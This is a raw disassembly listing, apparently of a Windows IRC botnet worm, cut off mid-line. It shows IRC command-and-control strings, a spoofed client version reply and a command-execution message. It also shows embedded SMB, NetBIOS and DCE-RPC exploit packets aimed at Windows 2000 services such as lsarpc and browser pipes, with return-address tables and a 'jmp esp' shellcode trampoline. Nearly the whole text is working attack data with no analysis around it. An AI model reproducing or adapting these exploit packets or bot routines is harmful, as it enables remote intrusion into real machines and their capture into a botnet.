1480A660h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 4B90h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 155864D8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 22D988A0h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 22DEDA78h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 0E53CCCE8h ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 0E53CD300h ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 5561C7F9h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 67270B61h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 1520A0h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 0AE1FF760h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 2BAFD860h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 15D698h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 0B8650h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 4A38h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 8Ah, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 0CD818BACh, 8196F4BDh, 0D6C3D39Ah, 0FDD3F9B9h, 0C8AAE7D9h ; DATA XREF: sub_40A9CF+790o dd 0E6FAEE95h, 0D8C5D3E2h, 2 dup(0) dword_419DB0 dd 2E78970h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 0B7B3F8D0h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 0C2C28390h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) dword_419DDC dd 0AE9D81BBh, 839E9C8Fh, 0A4E7A68Fh, 0FEBE81C3h, 0DCEAF0A0h ; DATA XREF: sub_40A9CF+534o dd 0F1ECE3FEh, 2 dup(0) dword_419DFC dd 81BEABBDh, 98B8B5BCh, 83D299B0h, 0E2A0A3F4h, 2 dup(0) ; DATA XREF: sub_40A9CF+448o aKnqQxjnuXxQEBZ db 'ߕ帚ɟËӋ٘',0 ; DATA XREF: sub_40A9CF+437o align 8 dword_419E48 dd 1FD30h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 67294FA1h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 67265A79h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 14705160h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 176C5160h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 0AF99D8h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 1D17950h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 146E00h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 1A80A5D1h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset dword_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: sub_410649+475o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: BrattyUS:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: BrattyUS:loc_41A8ACj ; BrattyUS:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: BrattyUS:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: BrattyUS:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: BrattyUS:0041A8AEj ; BrattyUS:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: BrattyUS:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; CODE XREF: BrattyUS:loc_41A8ECj ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; CODE XREF: BrattyUS:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+1B9o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41B2B0 dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: sub_410B52+2C7o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: sub_410B52+3DEo dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: sub_410B52+285o ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: sub_410B52+26Fo dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 